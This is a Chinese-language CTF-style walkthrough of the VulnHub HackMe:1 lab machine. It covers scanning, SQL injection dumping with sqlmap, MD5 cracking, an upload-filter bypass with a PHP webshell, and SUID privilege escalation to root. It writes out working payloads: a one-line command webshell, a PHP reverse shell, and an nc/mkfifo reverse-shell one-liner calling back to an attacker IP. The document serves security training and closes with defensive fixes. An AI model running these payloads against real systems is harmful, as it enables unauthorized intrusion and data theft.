1. 靶机环境搭建与信息收集
1.1 靶机下载与网络配置
HackMe:1是VulnHub平台上的一款入门级渗透测试靶机,适合练习基础的Web渗透和权限提升技能。首先需要从VulnHub官网下载OVA文件,导入到VMware或VirtualBox等虚拟化平台中运行。这里有个细节需要注意:建议将靶机网络模式设置为"桥接"而非NAT,这样可以避免后续扫描时出现IP识别问题。
启动靶机后,在攻击机(Kali Linux)上使用arp-scan快速定位靶机IP:
sudo arp-scan -l这个命令会列出当前局域网内所有活跃设备的IP和MAC地址。通过对比VMware虚拟机的MAC地址前缀(如00:0c:29),可以准确识别出靶机的IP(示例中为192.168.1.104)。如果网络中存在多个虚拟机,也可以通过靶机启动时显示的IP来确认。
1.2 端口扫描与服务识别
使用Nmap进行全端口扫描和版本探测:
nmap -A 192.168.1.104参数说明:
-A:启用操作系统检测、版本检测、脚本扫描和路由跟踪-T4:加快扫描速度(可选项)
扫描结果显示开放了两个关键端口:
- 22/tcp:SSH服务(但暂时没有可用凭证)
- 80/tcp:HTTP服务(Web应用入口)
注意:在实际渗透测试中,建议先使用
-p-参数进行全端口扫描(1-65535),避免遗漏非标准端口。本例中为了节省时间直接使用了-A参数。
2. Web应用渗透测试
2.1 初识Web界面
访问http://192.168.1.104显示一个用户登录页面。尝试常见弱口令(admin/admin等)无果后,发现页面底部有注册链接。注册时需要填写用户名、邮箱和密码,这里有几个关键点:
- 邮箱格式验证较宽松,可以使用任意格式(如test@test.com)
- 密码要求至少6位字符
- 注册后会自动登录,跳转到欢迎页面
注册时建议使用易记但不易被猜到的用户名,因为后续可能需要手动输入这些凭证。例如:"pentester_001"比"test1"更合适。
2.2 目录枚举与敏感文件发现
使用Dirb进行目录扫描:
dirb http://192.168.1.104发现关键路径:
- /upload:文件上传功能入口
- /welcome.php:用户登录后的主页面
通过浏览器访问/upload路径,可以看到一个简单的文件上传表单。测试发现它允许上传图片文件(jpg/png),但对其他类型文件的过滤机制需要进一步测试。
2.3 SQL注入漏洞利用
在welcome.php页面,使用Burp Suite拦截POST请求并保存为sql1.txt文件。然后使用SQLMap进行自动化注入测试:
sqlmap -r sql1.txt --batch参数说明:
-r:从文件中读取HTTP请求--batch:自动选择默认选项,避免交互式询问
确认存在注入漏洞后,逐步提取数据库信息:
- 获取数据库列表:
sqlmap -r sql1.txt --dbs --batch- 获取webapphacking数据库的表结构:
sqlmap -r sql1.txt -D webapphacking --tables --batch- 提取users表数据:
sqlmap -r sql1.txt -D webapphacking -T users --dump --batch重要提示:在生产环境中绝对不要使用
--dump-all参数,这会无差别下载所有数据,可能违反法律法规。应该精确指定需要提取的数据范围。
2.4 密码破解与登录
从users表中获取到的密码哈希是MD5加密的。可以使用在线破解网站(如md5decrypt.net)或本地工具(如John the Ripper)进行破解。对于简单的密码(如"password123"),在线网站通常能快速返回结果。
获得明文密码后,成功登录系统,此时可以看到更多功能选项,包括关键的文件上传接口。
3. 文件上传与WebShell获取
3.1 绕过上传限制
虽然上传表单声称只接受图片,但实际可以通过以下方法绕过:
- 修改文件扩展名(如shell.php.jpg)
- 修改Content-Type头(image/jpeg)
- 使用空字节截断(shell.php%00.jpg)
准备一个简单的PHP WebShell(shell.php):
<?php system($_GET['cmd']); ?>使用Burp Suite拦截上传请求,修改文件名和Content-Type后放行。上传成功后,通过访问/upload/shell.php?cmd=id即可验证是否执行成功。
3.2 蚁剑连接与管理
中国蚁剑(AntSword)是一款流行的WebShell管理工具。配置步骤如下:
- 新建Shell,填写URL(如http://192.168.1.104/upload/shell.php)
- 设置连接密码(如果WebShell有验证)
- 选择编码器(通常使用default)
- 测试连接成功后,即可进行文件管理、数据库操作等
在蚁剑的虚拟终端中,可以方便地执行系统命令,比单纯的WebShell更高效。
4. 权限提升与Root获取
4.1 反弹Shell建立
为了获得更稳定的交互式Shell,可以上传反弹Shell脚本。以下是PHP版本的反弹Shell:
<?php $sock=fsockopen("192.168.1.100",4444); exec("/bin/sh -i <&3 >&3 2>&3"); ?>在攻击机上监听4444端口:
nc -lvnp 4444通过蚁剑执行该PHP文件后,即可获得反向连接。为了提升Shell的交互性,可以执行:
python -c 'import pty; pty.spawn("/bin/bash")'4.2 SUID提权分析
查找具有SUID权限的可执行文件:
find / -perm -4000 -type f 2>/dev/null发现可疑程序:
/home/legacy/touchmenotSUID(Set User ID)是Linux的一种特殊权限,允许用户以文件所有者的身份执行程序。如果这个程序存在漏洞或被错误配置,就可能被利用来提权。
4.3 利用touchmenot提权
执行该程序:
/home/legacy/touchmenot成功获得root权限。这是因为该程序被设置为以root身份运行,且内部可能调用了system()等危险函数。在实际环境中,类似的提权方法包括:
- 利用环境变量劫持(如PATH)
- 滥用具有SUID权限的常见命令(如find、vim、bash等)
- 内核漏洞提权(如DirtyCow)
最后,别忘了清理痕迹,删除上传的WebShell和临时文件,避免影响其他学习者的体验。
5. 渗透测试经验总结
5.1 技术要点回顾
整个渗透过程涉及多个关键阶段:
- 信息收集(网络扫描、服务识别)
- Web应用测试(SQL注入、文件上传)
- 权限提升(SUID滥用)
每个阶段都需要注意:
- 保持操作的可追溯性(记录所有命令和结果)
- 避免对系统造成意外破坏
- 遵守道德和法律边界
5.2 常见问题解决
Q:SQLMap无法识别注入点 A:尝试添加--level=5 --risk=3提高检测级别,或手动指定注入参数-p
Q:上传的WebShell无法执行 A:检查文件权限(chmod +x),确认上传目录有执行权限
Q:反弹Shell不稳定 A:尝试使用更稳定的反弹方式,如:
mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.100 4444 >/tmp/f5.3 防御建议
从防御角度,这个靶机暴露了多个安全问题:
- SQL注入:应使用参数化查询
- 文件上传:需要严格验证文件类型和内容
- 密码存储:不应使用MD5等弱哈希
- SUID设置:避免不必要的SUID权限
对于初学者,建议在完成攻击后,思考如何修复这些漏洞,这样才能真正提升安全能力。